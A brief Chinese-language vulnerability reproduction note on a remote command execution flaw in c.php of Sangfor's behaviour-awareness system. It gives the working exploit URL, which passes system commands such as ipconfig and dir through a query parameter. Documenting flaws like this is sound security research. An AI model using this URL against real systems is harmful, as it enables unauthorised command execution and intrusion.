深信服行为感知命令执行漏洞
- 1.深信服行为感知漏洞
- 1.1.漏洞描述
- 1.2.漏洞影响
- 1.3.漏洞复现
- 1.3.1.登录页面
- 1.3.2.构建漏洞URL
- 1.3.2.1.查询IP地址
- 1.3.2.2.查询当前目录下文件
1.深信服行为感知漏洞
1.1.漏洞描述
深信服 行为感知系统c.php远程命令执行漏洞，使用与EDR相同模板和部分文件导致命令执行。
1.2.漏洞影响
深信服行为感知系统
1.3.漏洞复现
其实整个过程和深信服EDR命令执行漏洞差不多。
1.3.1.登录页面
1.3.2.构建漏洞URL
其实整个URL和EDR差不多。
URL：https://IP地址/tool/log/c.php?strip_slashes=system&host=ipconfig
1.3.2.1.查询IP地址
URL：https://IP地址/tool/log/c.php?strip_slashes=system&host=ipconfig
1.3.2.2.查询当前目录下文件
URL：https://IP地址/tool/log/c.php?strip_slashes=system&host=dir
